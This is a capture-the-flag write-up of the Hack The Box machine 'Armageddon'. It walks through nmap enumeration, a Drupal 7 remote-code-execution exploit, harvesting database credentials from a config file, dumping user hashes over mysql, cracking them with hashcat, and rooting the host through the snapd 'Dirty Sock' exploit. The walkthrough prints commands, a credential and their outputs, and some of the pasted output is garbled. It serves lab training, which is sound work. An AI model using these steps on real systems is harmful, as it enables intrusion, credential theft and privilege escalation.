

Armageddon - Writeup HTB

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I) Enumeration :

nmap -sV -A -O armageddon.htb

firefox http://thenotebook.htb

and see the source code & see which version of drupal is used

Now, Search some drupal 7 exploit and find this ruby exploit:

II) Exploitation:



Execute it with url in command options .. and have a apache shell !!! :

```
Target : http://armageddon.htb/
Found : http://armageddon.htb/CHANGELOG.txt
Drupal!: v7.56
       Code Execution (Method: name)
echo DLOZVVWO
DLOZVVWO
DLOZVVWO
s Everyone! Target seems to be exploitable (Code execution)! w00ho
```

In webserveur config file, we can see mysql informations

```
$databases = array (
'default' =>
                      ray (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => ',
'driver' => 'mysql',
'prefix' => '',
```

```
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e "use drupal;" -e "select * from users;"
```

```
n.eu filtered html
filtered html 1616919840
filtered_html 1616923204 0
```

Bruteforce brucetherealadmin ssh password with hashcat:

```
hashcat -m 7900 hash.txt /usr/share/wordlist/rockyou.txt
```

```
Applicable optimizers applied:
 * Zero-Byte
* Single-Hash
 * Single-Salt
 * Uses-64-Bit
 * (null)
 Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
 Host memory required for this attack: 65 MB
 Dictionary cache hit:
 * Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344385

* Bytes....: 139921507
 * Keyspace..: 14344385
 $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
 Session..... hashcat
 Status..... Cracked
Hash.Name.....: Drupal7
Hash.Target....: $$$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.o0sUf1xAhaadURt
Time.Started...: Sun Mar 28 11:55:22 2021 (2 secs)
Time.Estimated..: Sun Mar 28 11:55:24 2021 (0 secs)
Guess.Base....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue...: 1/1 (100.00%)
Speed.#1...: 110 H/s (9.76ms) @ Accel:64 Loops:128 Thr:1 Vec:2
Recovered...: 1/1 (100.00%) Digests
Progress....: 256/14344385 (0.00%)
Rejected....: 0/256 (0.00%)
Restore.Point...: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:32640-32768
Candidates.#1...: 123456 -> freedom
 Started: Sun Mar 28 11:54:03 2021
Stopped: Sun Mar 28 11:55:26 2021
                        :~$
```

cat /etc/passwd for the name of user bruce

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin/nologin
lp:x:4:7:lp:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
solkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
```

ssh brucetherealadmin@armageddon.htb

```
peter@kall:~/Documents/HT$Bssh brucetherealadmin@armageddon.htb
brucetherealadmin@armageddon.htb's password:
Last login: Wed Mar 31 17:27:35 2021 from ::1
[brucetherealadmin@armageddon ~]$
```

III) Privilege escalation:

One of the first thing to do in privesc is to check sudo rights

```
sudo -l
```

After some research, i find a vulnerability in snapd named 'Dirty_Sock'

this vulnerability create dirty_sock user with sudo root permissions

i found somes ressources explain this exploit :



https://0xdf.gitlab.io/2019/02/13/playing-with-dirty-sock.html





https://snapcraft.io/docs/snapcraft-overview

for install this proper snap we can use this options :

```
$ sudo snap install my-snap-name_0.1_amd64.snap --dangerous --devmode
my-snap-name 0.1 installed
```

sudo snap install exploit.snap --dangerous --devmode

```
[brucetherealadmin@armageddon tmp]$ sudo snap install exploit.snap --dangerous --devmode dirty-sock 0.1 installed [brucetherealadmin@armageddon tmp]$ cat /etc/passwd root:x:0:0:root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin/sbin/nologin daemon:x:2:2:daemon:/sbin/sologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus://sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin brucetherealadmin:x:1000:1000::/home/dirty_sock:/bin/bash dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash
```

change user and we are root

```
[brucetherealadmin@armageddon tmp]$ su dirty_sock
Mot de passe :
[dirty_sock@armageddon tmp]$ sudo su
[sudo] Mot de passe de dirty_sock :
[sudo] Mot de passe de dirty_sock :
[root@armageddon tmp]# id
uid=0(root) gid=0(root) groupes=0(root) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon tmp]# ■
```